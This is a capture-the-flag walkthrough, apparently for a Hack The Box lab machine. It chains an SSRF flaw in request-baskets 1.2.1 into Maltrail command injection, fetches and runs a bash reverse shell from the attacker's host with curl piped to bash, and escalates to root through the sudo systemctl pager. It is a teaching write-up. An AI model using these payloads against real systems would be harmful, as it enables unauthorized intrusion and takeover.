As always, we begin with a port scan:
╰─ nmap -sC -sV 10.129.186.83
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-09 19:33 EDT
Nmap scan report for 10.129.186.83
Host is up (0.029s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 09 Jul 2023 23:33:58 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sun, 09 Jul 2023 23:33:32 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sun, 09 Jul 2023 23:33:32 GMT
|_ Content-Length: 0
---SNIP---
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.74 seconds
We see that SSH is running and that there is a web server running on port 55555. Let’s take a look at the site:

Looking to the bottom left side of the page, we see a reference to request-baskets where it says that this site is using version 1.2.1. After a google search, we can find that this version has a Server-Side Request Forgery (SSRF) Vulnerability that you can read about in detail here.
One of the notes on that page specifies how the vulnerability works in a bit more detail.
To summarize, when we create a basket with request-baskets on this version, the forward_url parameter is vulnerable to SSRF.
If we create the basket with extra information like this:
{
"forward_url": "http://127.0.0.1:80",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}
When we later send a GET request to this basket, it should show us the filtered information that is on port 80.
To do this, I first capture the request when we create a basket with BurpSuite and then add the payload to it, making sure to change the basket name.

Make sure to set proxy_response to true. If all goes according to plan, you should get a token in your response.
When you visit the new endpoint you created, you can see that the page uses something called Maltrail:

When researching this version of Maltrail, you’ll quickly find this post about a command injection vulnerability for all versions less than 0.54 which is perfect for us.
The vulnerability works by allowing us to pass arbitrary OS commands using the username parameter:
curl 'http://hostname:8338/login' \
--data 'username=;`id > /tmp/bbq`'
With this in mind, we can use the same strategy as before to access the /login endpoint and try out this vulnerability once there. We can make another basket, the same as before, but change the payload to this:
{
"forward_url": "http://127.0.0.1:80/login",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}
Your repeater should look something like this:

When visiting the new basket /ssrf2 we see the following:

So it looks like we’ve got the route all set up and now we just need to see if we can execute an OS command on the target web server using the Maltrail vulnerability.
We can just have the username parameter try to curl our IP address:
curl 'http://<MACHINE_IP>:55555/ssrf2' \
--data 'username=;`curl <YOUR_IP>`'
We see a response on our listener:
╰─ nc -lvp 80
listening on [any] 80 ...
10.129.186.83: inverse host lookup failed: Unknown host
connect to [10.10.14.4] from (UNKNOWN) [10.129.186.83] 44054
GET / HTTP/1.1
Host: 10.10.14.4
User-Agent: curl/7.68.0
Accept: */*
So, let’s make a simple bash reverse shell and host it on or own HTTP server and get it executed on the target.
Here is the bash shell, hosted in the same directory our web server is hosted in:
╰─ cat shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1
Then, we start our python server to serve the reverse shell to the target:
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.186.83 - - [09/Jul/2023 21:20:57] "GET /shell HTTP/1.1" 200 -
We also need to start our listener on the port we specified in our shell file:
╰─ nc -lvp 1337
listening on [any] 1337 ...
Now all we need to do is run the Maltrail OS injection command to both get the shell file from our HTTP server and execute it with bash:
╰─ curl 'http://10.129.186.83:55555/ssrf2' \
--data 'username=;`curl 10.10.14.4/shell | bash`'
Then we should get a shell on our listener:
╰─ nc -lvp 1337
listening on [any] 1337 ...
10.129.186.83: inverse host lookup failed: Unknown host
connect to [10.10.14.4] from (UNKNOWN) [10.129.186.83] 49658
bash: cannot set terminal process group (871): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$
You can go to the puma user’s home directory and read the user flag. Now we need to try and escalate our privileges:
When running sudo -l to list our super user privileges, we see the following:
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
We can run /usr/bin/systemctl as all users with no password so long as are checking status for trail.service.
When running this command we see that it gives us a TTY unknown error:
puma@sau:~$ sudo systemctl status trail.service
sudo systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
---SNIP---
Jul 10 01:25:01 sau sudo[1302]: puma : TTY=unknown ; PWD=/home/puma ; USER=root ; COMMAND=list
Jul 10 01:29:01 sau sudo[1343]: puma : TTY=unknown ; PWD=/home/puma ; USER=root ; COMMAND=/usr/bin/systemctl status trail.service
Jul 10 01:29:01 sau sudo[1343]: pam_unix(sudo:session): session opened for user root by (uid=0)
So we first need to upgrade our shell using one of the strategies from this blog post:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Then we can actually interact with systemctl:
puma@sau:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)
- ● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Sun 2023-07-09 23:24:14 UTC; 2h 15min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 871 (python3)
Tasks: 11 (limit: 4662)
Memory: 34.4M
CGroup: /system.slice/trail.service
├─ 871 /usr/bin/python3 server.py
├─1285 /bin/sh -c logger -p auth.info -t "maltrail[871]" "Failed p>
├─1286 /bin/sh -c logger -p auth.info -t "maltrail[871]" "Failed p>
├─1288 bash
├─1289 /bin/bash -i
├─1371 python3 -c import pty; pty.spawn("/bin/bash")
├─1372 /bin/bash
├─1379 sudo /usr/bin/systemctl status trail.service
├─1380 /usr/bin/systemctl status trail.service
└─1381 pager
Jul 10 01:29:01 sau sudo[1343]: pam_unix(sudo:session): session opened for user>
Jul 10 01:29:01 sau sudo[1343]: pam_unix(sudo:session): session closed for user>
Jul 10 01:35:36 sau sudo[1362]: puma : TTY=unknown ; PWD=/home/puma ; USER=>
lines 1-23
There is a handy privilege escalation technique we can borrow from GTFOBins in order to go from here to a root shell:
lines 1-23!sh
!sshh!sh
# whoami
whoami
root
Now we can just read the root flag and we are good to go.